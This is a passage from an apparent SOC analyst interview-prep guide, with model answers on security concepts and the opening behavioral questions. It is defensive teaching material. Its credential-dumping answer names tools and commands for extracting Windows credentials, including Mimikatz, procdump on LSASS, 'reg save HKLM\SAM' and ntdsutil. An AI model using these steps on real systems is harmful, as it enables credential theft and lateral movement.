Detection: - WAF logs showing script tags, event handlers (`onerror`, `onload`), or JavaScript keywords in user input - CSP violation reports (if Content Security Policy is configured to report) - User reports of unexpected browser behavior or redirects

Prevention for both: input validation, parameterized queries (SQLi), output encoding (XSS), WAF rules, and Content Security Policy headers (XSS).

Bonus points: Mention OWASP Top 10 as the standard reference for web application security risks. SQLi and XSS are consistently in the top 10.

Question 18: Network Segmentation

"Why is network segmentation important and how does it work?"

What they are really asking: Do you understand defense in depth at the network layer?

Strong answer:

Network segmentation divides a network into isolated segments so that a compromise in one segment does not give the attacker free access to the entire network. It limits the blast radius of any breach.

How it works: - **VLANs:** Virtual LANs at the data link layer. Devices on different VLANs cannot communicate without routing through a firewall or router that enforces access policies. - **Subnets with firewall rules:** Different network segments (10.1.0.0/24 for workstations, 10.2.0.0/24 for servers, 10.3.0.0/24 for IoT) with firewalls controlling traffic between them. - **Microsegmentation:** Fine-grained segmentation at the workload level, often using software-defined networking. Individual hosts or containers have specific allow/deny policies. Common in zero trust architectures and cloud environments (AWS security groups).

Common segmentation zones: - **DMZ:** Internet-facing servers (web servers, email gateways). Can receive traffic from the internet but has restricted access to internal networks. - **Corporate LAN:** User workstations. Can access the internet and specific internal services, but not the server management network. - **Server/production:** Application servers, databases. Accessible from the corporate LAN on specific ports, not from the internet (except through the DMZ). - **Management:** Administrative access to infrastructure (switches, firewalls, hypervisors). Restricted to specific admin workstations. - **IoT/OT:** Isolated network for devices with poor security posture (printers, cameras, industrial controls).

Why it matters for SOC: - Without segmentation, an attacker who compromises one workstation can reach every system. With segmentation, they are contained to one zone and must find a way to cross the boundary — which creates detection opportunities. - Segmentation violations (traffic from the corporate LAN directly to the database management port) are high-signal alerts.

Bonus points: Mention that segmentation is useless without monitoring — if you segment but do not inspect traffic crossing segment boundaries, you only delay the attacker without detecting them.

Question 19: Threat Hunting

"What is threat hunting and how does it differ from monitoring?"

What they are really asking: Do you understand proactive vs reactive security operations?

Strong answer:

Monitoring (reactive) is waiting for alerts to fire. You have detection rules in the SIEM and EDR, and when they trigger, analysts investigate. This catches known threats and behaviors you have written rules for.

Threat hunting (proactive) is actively searching for threats that existing detection rules did not catch. Hunters assume the attacker is already in the environment and look for evidence of their presence using hypotheses, data analysis, and creative investigation.

The hunting process: 1. **Hypothesis:** Form a theory based on threat intelligence, risk assessment, or intuition. "APT group X targets our industry and uses DLL sideloading for persistence. Do we have evidence of this technique in our environment?" 2. **Data collection:** Identify which data sources would reveal this technique (Sysmon logs for DLL loading, process creation events, EDR telemetry). 3. **Investigation:** Query and analyze the data. Look for anomalies — processes loading DLLs from unusual paths, unsigned DLLs loaded by trusted processes. 4. **Findings:** Either evidence of compromise (escalate to incident response) or no findings (document the hunt, improve detection by writing a new rule for the technique you hunted for).

Common hunting techniques: - Searching for known-bad IOCs from threat intel across historical logs - Looking for anomalous behavior — the user who logged in at 3 AM for the first time, the server that suddenly has outbound DNS traffic to a new domain - Stacking analysis — counting occurrences and looking for rare outliers (the one process that runs on only one of 10,000 machines) - Baselining and deviation — what is normal for this environment, and what deviates?

Threat hunting requires Tier 2-3 analyst skills and a solid understanding of attacker TTPs. At the Tier 1 level, you may not be hunting yet, but understanding the concept shows you know where the profession goes.

Bonus points: Mention that threat hunts should result in new detection rules — every hunt, whether it finds something or not, should make the detection engineering better.

Question 20: SSL/TLS Inspection

"How does SSL/TLS inspection work in a corporate environment, and what are the trade-offs?"

What they are really asking: Do you understand a common enterprise security control that has both benefits and controversies?

Strong answer:

TLS inspection (also called SSL interception or break-and-inspect) allows a proxy or firewall to decrypt, inspect, and re-encrypt HTTPS traffic. Without it, encrypted traffic is a blind spot — malware, C2, and data exfiltration can hide inside HTTPS.

How it works: 1. A corporate proxy (Zscaler, Palo Alto, Squid, etc.) intercepts the HTTPS connection 2. It establishes a TLS session with the destination server on behalf of the client 3. It presents a proxy-generated certificate (signed by the organization's internal CA) to the client 4. The client trusts this certificate because the internal CA is pushed to all corporate machines via

GPO 5. The proxy decrypts the traffic, inspects it for malware/DLP violations, then re-encrypts it and sends it to the client

Benefits: - Visibility into encrypted traffic — can detect malware, C2, and data exfiltration hidden in HTTPS - DLP enforcement — can inspect content being uploaded to external sites - Compliance — some regulations require inspection of outbound traffic

Trade-offs: - **Privacy concerns:** The organization can see all encrypted traffic, including personal browsing. Many organizations exclude specific categories (banking, healthcare, personal email) from inspection. - **Certificate management:** The internal CA must be trusted on all devices. BYOD and guest devices will get certificate errors. - **Performance:** Decrypting and re-encrypting traffic adds latency and requires compute resources. - **Certificate pinning:** Some applications pin specific certificates and will break when they see the proxy's certificate instead (mobile banking apps, some APIs). - **Legal and regulatory:** In some jurisdictions, intercepting encrypted traffic may have legal implications.

Bonus points: Mention that TLS 1.3 with encrypted SNI (ECH/ESNI) makes inspection harder because even the destination hostname is encrypted. This is an active area of evolution in network security.

Question 21: MITRE ATT&CK Mapping

"How would you map a detection rule to the MITRE ATT&CK framework?"

What they are really asking: Can you use ATT&CK practically, not just name-drop it?

Strong answer:

Let me use a concrete example. Say I write a SIEM rule that alerts when PowerShell uses the `-EncodedCommand` parameter.

Mapping: - **Tactic:** Execution (TA0002) — the attacker is trying to run code - **Technique:** Command and Scripting Interpreter: PowerShell (T1059.001) - **Specific behavior:** Use of encoded commands for obfuscation

I would also note secondary mappings: - **Defense Evasion (TA0005):** The encoding is an attempt to evade detection - **Technique:** Obfuscated Files or Information (T1027)

Why mapping matters: 1. **Coverage analysis:** Once you have mapped all your detection rules, you can overlay them on the ATT&CK matrix and see which techniques you can detect and which are blind spots. 2. **Prioritization:** If your threat intelligence says APT groups targeting your industry favor techniques T1053 (Scheduled Task/Job), T1059 (Command Scripting), and T1078 (Valid Accounts), and you only have detection for T1059, you know where to invest detection engineering effort. 3. **Common language:** When writing incident reports, referencing ATT&CK techniques provides a common language that other security professionals immediately understand. 4. **Maturity measurement:** Tracking the percentage of ATT&CK techniques you have detection for is a measurable SOC maturity metric.

Bonus points: Mention the ATT&CK Navigator — a free web tool for visualizing detection coverage on the ATT&CK matrix. Also mention that SIGMA rules (a generic signature format for SIEM) often include ATT&CK tags.

Question 22: Credential Dumping

"What is credential dumping and what tools do attackers use?"

What they are really asking: Do you understand one of the most critical post-exploitation techniques?

Strong answer:

Credential dumping is the process of extracting authentication credentials (passwords, hashes, tickets) from a compromised system to use for lateral movement and privilege escalation.

Common targets and tools:

- **LSASS memory (Local Security Authority Subsystem Service):** LSASS stores plaintext passwords (on older Windows versions), NTLM hashes, and Kerberos tickets in memory. Mimikatz is the most well-known tool for dumping LSASS. Attackers also use `procdump.exe` (a legitimate Sysinternals tool) to dump LSASS memory to a file, then extract credentials offline.
- **SAM database:** The Security Account Manager stores local account password hashes. Can be extracted using `reg save HKLM\SAM` and `reg save HKLM\SYSTEM`, then cracked offline with hashcat or john.
- **NTDS.dit:** The Active Directory database on domain controllers. Contains password hashes for every domain account. Extracted via `ntdsutil`, `vssadmin` shadow copy, or DCSync (using Mimikatz to replicate AD data remotely).
- **Cached credentials:** Windows caches domain credentials locally so users can log in when the domain controller is unreachable. Stored in the registry and can be extracted and cracked.
- **LSA Secrets:** Stored in the registry under `HKLM\SECURITY`. Contains service account passwords, auto-logon passwords, and other sensitive data.

Detection: - Monitor for access to LSASS process (Event ID 10 in Sysmon — process access) - Detect procdump or other tools targeting LSASS - Alert on DCSync activity (replication requests from non-domain-controller IPs) — Event ID 4662 with specific GUIDs - Alert on SAM/SYSTEM registry hive exports - Enable Credential Guard (Windows 10+) which uses virtualization to protect LSASS memory

Bonus points: Mention that Windows Credential Guard and Protected Process Light (PPL) for LSASS are modern mitigations that make credential dumping significantly harder. Also mention that disabling WDigest authentication prevents plaintext passwords from being stored in LSASS memory.

Question 23: Email Authentication

"Explain SPF, DKIM, and DMARC."

What they are really asking: Do you understand the mechanisms that prevent email spoofing — and their limitations?

Strong answer:

These three work together to prevent email spoofing:

SPF (Sender Policy Framework): A DNS TXT record that specifies which mail servers are authorized to send email on behalf of a domain. When a receiving server gets an email claiming to be from `example.com`, it checks the SPF record for `example.com` to see if the sending server's IP is listed.

Limitation: SPF checks the envelope sender (MAIL FROM), not the header sender (what the user sees). An attacker can spoof the display name and From: header while using a different envelope sender domain that passes SPF.

DKIM (DomainKeys Identified Mail): The sending server cryptographically signs emails with a private key. The public key is published as a DNS record. The receiving server validates the signature to confirm the email was not modified in transit and that it came from an authorized server.

Limitation: DKIM confirms the email was signed by the domain's key, but a legitimate forwarding server that modifies the email (adds a footer, changes headers) can break the DKIM signature.

DMARC (Domain-based Message Authentication, Reporting, and Conformance): Ties SPF and DKIM together and adds a policy for what to do when authentication fails. The domain owner publishes a DMARC record specifying: - `p=none` — monitor only (just send reports) - `p=quarantine` — send failures to spam - `p=reject` — reject failures outright

DMARC also requires alignment — the domain in the From: header must match the domain authenticated by SPF or DKIM. This closes the gap where SPF alone could be bypassed by using a different envelope sender.

For SOC analysts: When analyzing a suspicious email, check the `Authentication-Results` header. If SPF, DKIM, and DMARC all fail, the email is almost certainly spoofed. If they pass, it is either legitimate or the attacker is using a compromised account or domain.

Bonus points: Mention that deploying DMARC with `p=reject` is the gold standard but takes time — organizations typically start with `p=none` to collect reports, identify legitimate senders they need to add to SPF, and then progressively tighten to quarantine and reject.

Question 24: Container Security

"What security concerns are specific to containerized environments?"

What they are really asking: Are you current with modern infrastructure? Many SOCs now monitor container platforms.

Strong answer:

Containers introduce unique security considerations:

Image security: Containers are built from images, and if the base image contains vulnerabilities, every container built from it inherits them. Scanning images for CVEs (Trivy, Snyk, Anchore) before deployment is essential. Additionally, public registries like Docker Hub can host malicious images — always use trusted, verified images.

Runtime security: A compromised container can attempt to escape to the host (container escape), access other containers, or use the container's network position for lateral movement. Monitor for: - Privileged containers (running as root with `--privileged`) - Containers with excessive capabilities - Unusual network connections from containers - Process execution inside containers that deviates from the expected workload

Secrets management: Hardcoded credentials in Dockerfiles, environment variables, or container images are a common problem. Secrets should be managed externally (Vault, cloud KMS, Kubernetes secrets with encryption at rest).

Network exposure: Container orchestrators (Kubernetes) expose services through ingress controllers and service meshes. Misconfigured network policies can expose internal services. By default, pods in Kubernetes can communicate with any other pod — network policies must be explicitly applied.

Supply chain: Multi-stage builds, third-party base images, and package installations during build can introduce supply chain risks.

Orchestrator security: The Kubernetes API server, etcd database, and kubelet are high-value targets. Misconfigurations (anonymous auth, exposed API server, unsecured etcd) can give attackers full cluster control.

Bonus points: Mention Falco for container runtime security monitoring, and that the CIS Kubernetes Benchmark provides hardening guidance. Also note that container forensics is challenging because containers are ephemeral — when they stop, evidence can be lost unless logging is centralized.

Question 25: Encryption and Key Management

"What happens if an encryption key is compromised?"

What they are really asking: Do you understand the operational implications of key compromise, not just the theory?

Strong answer:

A compromised encryption key means all data encrypted with that key must be considered compromised. The impact depends on the type of key:

Symmetric key (AES key for data at rest): - All data encrypted with that key is potentially exposed - Rotate the key immediately — generate a new key and re-encrypt the data - Determine how the key was compromised and fix the access control that allowed it - Assess whether the encrypted data was accessed while the key was compromised

TLS private key: - An attacker with the private key can impersonate the server (MITM attacks) and, if the key exchange did not use Perfect Forward Secrecy (PFS), decrypt previously captured traffic - Revoke the certificate immediately (update CRL, OCSP) - Generate a new key pair and issue a new certificate - Investigate whether any traffic was intercepted during the exposure window

SSH private key: - Remove the corresponding public key from all `authorized_keys` files - Generate a new key pair - Audit access logs for unauthorized use of the compromised key

KMS / master key (key encryption key): - This is catastrophic — all keys encrypted by the master key are now compromised - Every data key encrypted by the master key needs to be rotated - All data encrypted by those data keys needs to be re-encrypted

The broader point: Key management is as important as the encryption algorithm. AES-256 is unbreakable, but it does not matter if the key is stored in a plaintext config file on a shared drive. Key management best practices: rotate keys on a schedule, use HSMs or cloud KMS for storage, log all key access, and implement separation of duties (the person who manages keys should not be the person who accesses the encrypted data).

Bonus points: Mention Perfect Forward Secrecy (PFS) — TLS configurations using ephemeral Diffie-Hellman (ECDHE) generate a new session key for each connection. Even if the server's long-term private key is later compromised, previously recorded sessions cannot be decrypted. This is why PFS is recommended for all TLS configurations.

Question 26: Windows vs Linux Security

"What are the key differences in securing Windows vs Linux environments?"

What they are really asking: Are you versatile, or only comfortable with one platform?

Strong answer:

Aspect	Windows	Linux
Authentication	Active Directory / Kerberos / NTLM	PAM, SSH keys, LDAP integration
Privilege escalation	Local admin, domain admin, SYSTEM	Root, sudo, SUID binaries
Persistence	Registry, scheduled tasks, services, WMI	Cron, systemd services, .bashrc, authorized_keys
Logging	Event Logs (Security, System, Sysmon)	syslog, journald, auth.log, audit.log
Patch management	WSUS, SCCM, Windows Update	apt/yum repos, unattended-upgrades
Malware visibility	EDR, AMSI, Defender	EDR, audit framework, rkhunter
Common attacks	Pass-the-Hash, Kerberoasting, DLL sideloading	SSH brute force, kernel exploits, SUID abuse

Key differences in practice: - Windows environments typically revolve around Active Directory — compromise AD and you own the environment. Linux environments are often more distributed. - Windows has a much larger attack surface by default — more services, more protocols (SMB, RPC, WMI, DCOM). Linux follows a minimal install philosophy more naturally. - Linux logging is more customizable but requires intentional configuration (auditd rules). Windows has richer default security logging (Event Log). - PowerShell on Windows and Bash on Linux are the primary tools for both attackers and defenders — knowing both is important.

Bonus points: Mention that most real environments are mixed, and a SOC analyst needs to be comfortable with both. Cloud environments are predominantly Linux, while enterprise endpoints are predominantly Windows.

Question 27: Zero-Day vs N-Day

"What is the difference between a zero-day and an N-day vulnerability, and how does your response differ?"

What they are really asking: Do you understand vulnerability lifecycle and how it affects defense priorities?

Strong answer:

A **zero-day** is a vulnerability that is being exploited in the wild before the vendor knows about it or has released a patch. There is no fix available yet — the name comes from the fact that the vendor has had zero days to develop a patch.

An **N-day** is a vulnerability for which a patch has been available for N days. The vulnerability is known, a fix exists, but some organizations have not applied it yet. Most breaches exploit N-day vulnerabilities, not zero-days.

Response differences:

For zero-days: - No patch available, so focus on compensating controls — WAF rules, IPS signatures (if available), network segmentation to limit exposure, disabling the vulnerable feature if possible - Monitor threat intelligence closely for IOCs and detection guidance - Evaluate whether the vulnerable system can be taken offline temporarily - Prepare to patch immediately when the vendor releases a fix

For N-days: - The patch exists — the priority is applying it, especially if exploitation is confirmed in the wild (check CISA KEV catalog) - Every day the patch is not applied is a day the organization is knowingly vulnerable - If patching requires a maintenance window, implement compensating controls in the meantime - Track and report patching timelines — "this critical RCE has been unpatched for 45 days" is a risk metric management needs to see

The uncomfortable truth: Organizations are far more likely to be breached by an unpatched known vulnerability than by a zero-day. Zero-days get the headlines, but N-days cause the most damage because they are everywhere and often unpatched for weeks or months.

Bonus points: Mention the concept of "vulnerability window" — the time between when a vulnerability is disclosed and when it is patched in your environment. Reducing this window is one of the most impactful things an organization can do.

Question 28: Incident Severity Classification

"How do you determine the severity of a security incident?"

What they are really asking: Can you triage effectively and communicate priority?

Strong answer:

Severity classification determines the response urgency, resources allocated, and escalation path. Most organizations use a 4-tier system:

Severity	Criteria	Response
Critical (P1)	Active data breach, ransomware, compromised admin accounts, business-critical systems down	Immediate all-hands response, management/legal/PR notified, 24/7 coverage until resolved
High (P2)	Confirmed compromise of a user account, malware on endpoint contained but not eradicated, active lateral movement detected	Incident response team engaged, 4-hour response SLA
Medium (P3)	Suspected compromise requiring investigation, policy violation with potential security impact, vulnerability being actively exploited	Assigned to analyst, 24-hour response SLA
Low (P4)	Informational, policy violation without security impact, vulnerability with no active exploitation	Queued for normal business hours, addressed within standard SLA

Factors I consider: 1. **Data impact:** Was sensitive data accessed, modified, or exfiltrated? What kind of data? 2. **System criticality:** Is the affected system a domain controller (critical) or a test VM (low)? 3. **Scope:** Is it one host or spreading across the environment? 4. **Active vs historical:** Is the threat active right now, or am I investigating historical evidence? 5. **User privilege level:** A compromised admin account is P1. A compromised standard user is P2. 6. **Business impact:** Is this affecting production systems, customer-facing services, or revenue?

Bonus points: Mention that severity can change during investigation. What starts as a P3 (investigating a single suspicious email) can become a P1 (the email was part of a campaign and 50 users are compromised). Continuous reassessment is important.

Question 29: Data Loss Prevention

"How does DLP work and what are its limitations?"

What they are really asking: Do you understand data protection beyond just encryption?

Strong answer:

Data Loss Prevention (DLP) identifies, monitors, and prevents unauthorized transfer of sensitive data. It works at three points:

Endpoint DLP: Monitors data on individual devices — clipboard activity, USB transfers, print jobs, screenshots, file copies.

Network DLP: Inspects traffic as it crosses the network — email attachments, web uploads, file transfers. Sits inline (like a proxy) or monitors copies of traffic.

Cloud DLP: Monitors data in cloud services — SaaS applications, cloud storage, email platforms. Often integrated with CASB (Cloud Access Security Broker) solutions.

How it identifies sensitive data: - **Pattern matching / regex:** Credit card numbers (16-digit patterns with Luhn check), SSNs (XXX-XX-XXXX), email addresses - **Keywords:** "confidential," "proprietary," specific project names - **Data fingerprinting:** Hashing specific documents or database content and detecting when those exact data patterns appear in transit - **Machine learning:** Classifying content based on training data (less common in traditional DLP, more common in newer platforms)

Limitations: - **Encrypted data:** DLP cannot inspect encrypted content. If a user encrypts a file with a personal key before uploading it, DLP is blind. - **False positives:** Pattern matching generates many false positives. A 16-digit product serial number triggers credit card rules. Tuning is essential. - **Scope gaps:** DLP only covers monitored channels. If it monitors email and web but not USB, that is a gap. If it monitors managed devices but not personal phones, that is a gap. - **User workarounds:** Screenshots, photos of the screen with a phone, dictation — DLP has limits against determined insiders. - **Context blindness:** DLP may flag a legitimate transfer of test data that happens to contain realistic PII patterns.

Bonus points: Mention data classification as a prerequisite — DLP is much more effective when the organization has classified its data (public, internal, confidential, restricted) and can apply policies based on classification labels.

Question 30: Security Automation and Scripting

"What level of scripting is expected for a SOC analyst?"

What they are really asking: Can you automate repetitive tasks, or will you be manually copying and pasting forever?

Strong answer:

The expectation varies by tier:

Tier 1 (entry level): - Read and understand scripts written by others - Run existing scripts/tools from the command line with appropriate parameters - Write simple one-liners for log parsing (grep, awk, cut, or PowerShell equivalents) - Basic regex for log searching - Comfortable with the command line on both Windows and Linux

Tier 2 (mid level): - Write scripts to automate repetitive investigation tasks (Python, PowerShell, or Bash) - Create SIEM queries and saved searches (SPL for Splunk, KQL for Sentinel, Lucene for ELK) - Develop or modify SOAR playbooks - Parse and correlate data from multiple sources programmatically - Use APIs to query threat intelligence platforms, ticketing systems, and security tools

Tier 3 / Engineering: - Develop custom detection rules and tooling - Write integration scripts between security tools - Create data pipelines for log processing - Develop and maintain automation workflows

Practical examples for interview prep:

```python
# Simple IOC checker — queries VirusTotal API for a list of hashes
import requests

API_KEY = "your-vt-api-key"
hashes = ["hash1", "hash2", "hash3"]

for h in hashes:
    response = requests.get(
        f"https://www.virustotal.com/api/v3/files/{h}",
        headers={"x-apikey": API_KEY}
    )
    data = response.json()
    if response.status_code == 200:
        stats = data["data"]["attributes"]["last_analysis_stats"]
        print(f"{h}: {stats['malicious']}/{stats['malicious'] + stats['undetected']} detections")
    else:
        print(f"{h}: Not found")
```

```python
# Parse Apache access log and find top IPs by request count
from collections import Counter

with open("access.log") as f:
    ips = [line.split()[0] for line in f]

for ip, count in Counter(ips).most_common(10):
    print(f"{ip}: {count} requests")
```

Bonus points: If you have a GitHub repo with security scripts, CTF writeups, or automation projects, mention it. Practical evidence of scripting ability is more convincing than claiming proficiency.

Next: Chapter 4 — Behavioral Questions

Chapter 4: Behavioral Questions

Soft Skills and Situational Questions for Security Roles

Here is what actually happens in the behavioral round: two candidates both nailed the technical questions. Both can explain the kill chain, walk through a phishing scenario, and write a Splunk query. Now the hiring manager needs to pick one. So they ask: "Tell me about a time you disagreed with a decision." One candidate freezes. The other tells a tight, specific story that shows how they think, communicate, and handle conflict. That candidate gets the offer.

Behavioral questions are not filler. They are the tiebreaker. And the tiebreaker goes to the person who prepared stories, not just knowledge.

Every answer below uses a framework. Your job is to prepare your own stories using these frameworks — not to memorize these examples.

Question 1: Technical Communication

"Tell me about a time you had to explain a technical concept to a non-technical person."

Why they ask this: SOC analysts communicate with helpdesk, HR, legal, executives, and users. If you cannot translate security into plain language, you will struggle in the role.

Framework for answering: 1. Set the context — who was the audience and what was the situation? 2. Explain what you translated and how you simplified it 3. Describe the outcome — did the person take the right action? 4. Show what you learned about communication

Example answer:

"In my previous role on the IT helpdesk, we rolled out MFA across the organization. Several managers were resistant because they saw it as extra steps slowing them down. I was asked to present to a group of department heads.

Instead of explaining how TOTP algorithms work or talking about credential stuffing, I framed it around something they understood. I said: 'Right now, your password is like a house key. If someone copies it, they can walk in anytime and you would never know. MFA adds a deadbolt that changes its code every 30 seconds — even if someone has your key, they cannot get in without the code on your phone.'

Then I showed them how fast the process actually is — 3 seconds to tap a notification. The

resistance dropped significantly because they understood the why and saw that the how was not burdensome.

What I learned is that non-technical people do not need less information — they need different framing. Analogies connected to their world are more effective than simplified technical jargon."

Red flags to avoid: - Talking down to the audience in your story ("they didn't understand technology") - Describing a situation where you overwhelmed someone with jargon and then blaming them for not understanding - Not having an example at all — this suggests you have not had to communicate outside your technical bubble

---

Question 2: Disagreeing with a Decision

"Describe a time you disagreed with a security policy or decision."

Why they ask this: They want to know if you can push back constructively. Security professionals need to challenge decisions that increase risk — but they also need to do it professionally and with data, not ego.

Framework for answering: 1. Describe the policy or decision you disagreed with 2. Explain your reasoning — what risk did you see? 3. Describe how you raised the concern (the how matters as much as the what) 4. Share the outcome, even if you were overruled

Example answer:

"At a previous company, the development team wanted to whitelist a range of third-party IPs in the firewall for an integration project. The range they requested was a /16 — over 65,000 IP addresses — when the actual integration only needed to communicate with two specific servers.

I raised the concern in writing to the project lead and the security team lead. I explained that whitelisting an entire /16 meant that if any other host in that range was compromised, it could access our network through the same firewall rule. I proposed whitelisting only the two specific IPs and adding a time-bound review date.

The project lead initially pushed back — 'the vendor might change IPs.' I acknowledged that concern and suggested we could set up monitoring to detect any traffic from the whitelisted range that did not match the two expected IPs, and we would update the rules if the IPs changed.

The security team lead agreed with my approach, and we whitelisted the two IPs. Six months later during a firewall rule review, we found the integration had been decommissioned and removed the rules entirely. If we had whitelisted a /16, those 65,000 IPs would still have been open.

I learned that having a concrete alternative ready — not just saying 'no' — makes it much easier to get buy-in."

Red flags to avoid: - "I just went along with it" — shows you do not advocate for security - Making it personal instead of risk-based - Not having an example — security professionals should routinely question decisions

---

Question 3: Alert Fatigue

"How do you handle alert fatigue?"

Why they ask this: Alert fatigue is the reality of SOC work. They want to know you have strategies to stay effective when the volume is high and most alerts are noise.

Framework for answering: 1. Acknowledge alert fatigue is real and common 2. Describe personal strategies for managing it 3. Describe systemic strategies for reducing it 4. Show you understand the consequence of ignoring it

Example answer:

"Alert fatigue is one of the biggest operational risks in a SOC. When analysts see 500 alerts a day and 480 are false positives, the temptation is to start closing alerts without investigating — and that is exactly how a real incident gets missed.

On a personal level, I handle it by maintaining a consistent investigation process for every alert, even the ones I suspect are false positives. I verify before I close. I also take short breaks between blocks of alerts — even five minutes resets my focus and prevents the autopilot mindset.

On a systemic level, the real solution is reducing the false positive rate. Every time I close a false positive, I ask: can this alert be tuned? Can I whitelist a specific known-good source? Can I add a threshold so it only fires when the activity is genuinely anomalous? I document tuning recommendations and bring them to the detection engineering team or the team meeting.

I also believe in the power of good playbooks. When I know exactly what to check for each alert type, I can investigate efficiently without decision fatigue — the mental energy goes to analysis, not figuring out what to do next.

The alternative — just clicking 'close' on alerts without investigating — is how organizations get breached with the SIEM telling them it happened and nobody noticing."

Red flags to avoid: - "I just power through it" — this suggests you do not have a sustainable approach - Complaining about the volume without offering solutions - Not acknowledging that it is a real problem

---

Question 4: Handling Uncertainty

"What do you do when you don't know the answer to something?"

Why they ask this: Security is vast. Nobody knows everything. They want to know if you are honest about gaps and resourceful about filling them.

Framework for answering: 1. Show you are comfortable saying "I don't know" 2. Describe your process for finding the answer 3. Give a specific example 4. Show that you follow through and learn

Example answer:

"I say 'I don't know, but here's how I'll find out.' Pretending to know something you do not is dangerous in security — it leads to wrong decisions and erodes trust.

For example, while studying for the CySA+, I encountered a practice question about BGP hijacking. I understood the concept at a surface level — routes being manipulated — but I could not explain how it worked or how to detect it.

I spent that evening reading the actual BGP RFC, watching a conference talk on real-world BGP hijacking incidents, and setting up a lab scenario to see route advertisements in action. By the next day, I could not only answer the question but explain how RPKI (Resource Public Key Infrastructure) is used to mitigate it.

My approach is consistent: acknowledge the gap, find reliable sources (vendor documentation, RFCs, reputable security blogs, hands-on labs), learn it, and then validate my understanding by explaining it to someone else or writing it up. I keep notes on everything I learn so I build a personal knowledge base over time.

The security landscape changes constantly. Being comfortable with 'I don't know yet' is more sustainable than pretending you know everything."

Red flags to avoid: - "I Google it" — too shallow. Show depth in your learning process - Not having an example of a knowledge gap you filled - Defensiveness about not knowing things

---

Question 5: Staying Current

"How do you stay current with security threats and trends?"

Why they ask this: Security evolves daily. They want evidence that you actively maintain your knowledge.

Framework for answering: 1. List specific sources (not generic "I read blogs") 2. Describe your routine — when and how often 3. Show that you do not just read passively but apply what you learn 4. Mention community engagement if applicable

Example answer:

"I have a daily routine and a deeper weekly practice.

Daily: I scan a curated set of sources every morning with coffee — Krebs on Security, The Record by Recorded Future, BleepingComputer for breaking news, and the SANS Internet Storm Center diary for technical analysis. I also follow several security researchers on social media who share real-time threat intelligence and analysis.

Weekly: I dedicate time to deeper technical content. I work through CTF challenges on TryHackMe or Hack The Box to keep practical skills sharp. I read the CISA advisories published that week and check for any new additions to the Known Exploited Vulnerabilities catalog. I listen to the Risky Business or Darknet Diaries podcast during commute time.

When something catches my attention — a new technique, a high-profile breach, a novel detection method — I try to lab it. When Log4Shell hit, I set up a vulnerable server in my home lab and walked through the exploitation and detection process myself. That hands-on work makes the difference between 'I heard about it' and 'I understand it.'

I also try to give back — I write short technical notes on things I learn and share them with my study group. Teaching reinforces understanding."

Red flags to avoid: - Vague answers ("I read security news") without naming specific sources - Only listing passive consumption with no hands-on component - Not being able to discuss a recent security event when asked for an example

---

Question 6: Making a Mistake

"Tell me about a time you made a mistake in a technical task."

Why they ask this: Everyone makes mistakes. They want to see accountability, learning, and process improvement — not perfection.

Framework for answering: 1. Describe the mistake honestly 2. Explain how you discovered it 3. Describe what you did to fix it 4. Share what you changed to prevent it from happening again

Example answer:

"While configuring firewall rules in my home lab, I accidentally created an 'allow any any' rule to troubleshoot a connectivity issue and forgot to remove it. I got focused on the application problem and moved on, leaving the firewall essentially wide open.

I discovered it two days later when I was reviewing my firewall logs for a lab exercise and noticed traffic patterns that should have been blocked. The permissive rule was right there in the rule set.

I removed the rule immediately and audited all other rules to make sure nothing else was misconfigured. Then I reviewed the logs for the two-day window to confirm nothing malicious had occurred.

What I changed: I started using change comments on every firewall rule modification — a comment explaining why the rule exists and when it should be reviewed. I also created a weekly audit task to review rule changes. In a production environment, this is what change management processes and configuration monitoring tools are for — I had learned firsthand why those controls exist.

The lesson stuck: temporary exceptions that do not get removed are one of the most common security failures in production environments. That lab mistake taught me a production habit."

Red flags to avoid: - "I've never made a mistake" — nobody believes this, and it suggests you lack self-awareness - Blaming others or circumstances - Describing a mistake without describing what you learned or changed

---

Question 7: Prioritization Under Pressure

"How do you prioritize when you have 50 alerts in queue?"

Why they ask this: SOC work is about triage. You will never have enough time to investigate everything deeply. They want to see that you can make smart prioritization decisions.

Framework for answering: 1. Describe your prioritization criteria 2. Walk through how you would sort the queue 3. Show you understand that some things can wait and some cannot 4. Mention how you communicate about what is in the queue

Example answer:

"First, I would scan the entire queue quickly — not investigate, just scan. I am looking for anything that screams 'active compromise' versus routine noise.

My prioritization criteria, in order: 1. **Active threats first.** Anything suggesting an active compromise in progress — ransomware, active C2, data exfiltration, confirmed credential compromise. These get investigated immediately because delay increases damage. 2. **Severity and asset criticality.** A high-severity alert on a domain controller takes priority over a medium alert on a test server. 3. **Actionability.** An alert I can investigate and resolve quickly (10 minutes) gets done between longer investigations so the queue does not build up. 4. **Age.** Older alerts should not sit indefinitely — if something has been in queue for 8 hours, it needs attention even if it is medium severity.

For the 50 alerts: I would sort them mentally into three buckets — must investigate now (maybe 3-5), investigate today (10-15), and can wait for next shift or batch processing (the remaining routine alerts). I would communicate to my team lead if the queue is too large for one person to handle in the shift — that is not a failure, that is an operational reality that needs resourcing.

I would also keep an eye out for related alerts — 10 alerts that are actually one incident should be consolidated, not investigated 10 separate times."

Red flags to avoid: - "I work through them in order" — FIFO is not triage - Not mentioning severity or context as factors - Not mentioning communication to the team when overwhelmed

---

Question 8: Teamwork and Handoffs

"Describe how you handle shift handoffs in a SOC."

Why they ask this: SOCs run 24/7. Poor handoffs cause incidents to be missed or duplicated. This question tests your communication discipline.

Framework for answering: 1. Describe what information needs to be communicated 2. Explain your method for documenting it 3. Show you understand why handoffs matter 4. Give an example if you have one

Example answer:

"A shift handoff is a critical communication moment because anything lost in translation can mean a threat goes uninvestigated for 8-12 hours.

My approach to handoffs includes:

What I communicate: - Active investigations — what I am working on, where I left off, and what the next step is - Escalated incidents — current status, who is involved, what is expected from the incoming shift - Notable events — anything unusual that did not trigger an alert but felt off, or trends I noticed during the shift - Queue status — how many alerts are pending and if there is a backlog - Scheduled events — planned maintenance, expected changes, vulnerability scans that might generate alerts

How I document it: - A written handoff document or ticket update — not just verbal. Verbal handoffs lose details. If the incoming analyst has a question an hour later, they can reference the written notes. - Ticket updates for every active investigation, even partial progress. 'Investigated

source IP, confirmed it is our vulnerability scanner, need to confirm with the scanning team before closing' is useful to the next analyst.

Why it matters: An attacker does not pause at shift change. If I notice a suspicious pattern at 6:45 PM and my shift ends at 7:00 PM, the worst thing I can do is say 'I'll get to it tomorrow' or mention it casually in passing. That pattern needs to be documented and highlighted for the incoming shift."

Red flags to avoid: - "I just tell the next person what's going on" — verbal-only handoffs are insufficient - No mention of written documentation - Not accounting for active investigations that span shifts

---

Question 9: Handling Pushback from Users

"How do you handle a user who is frustrated with a security control?"

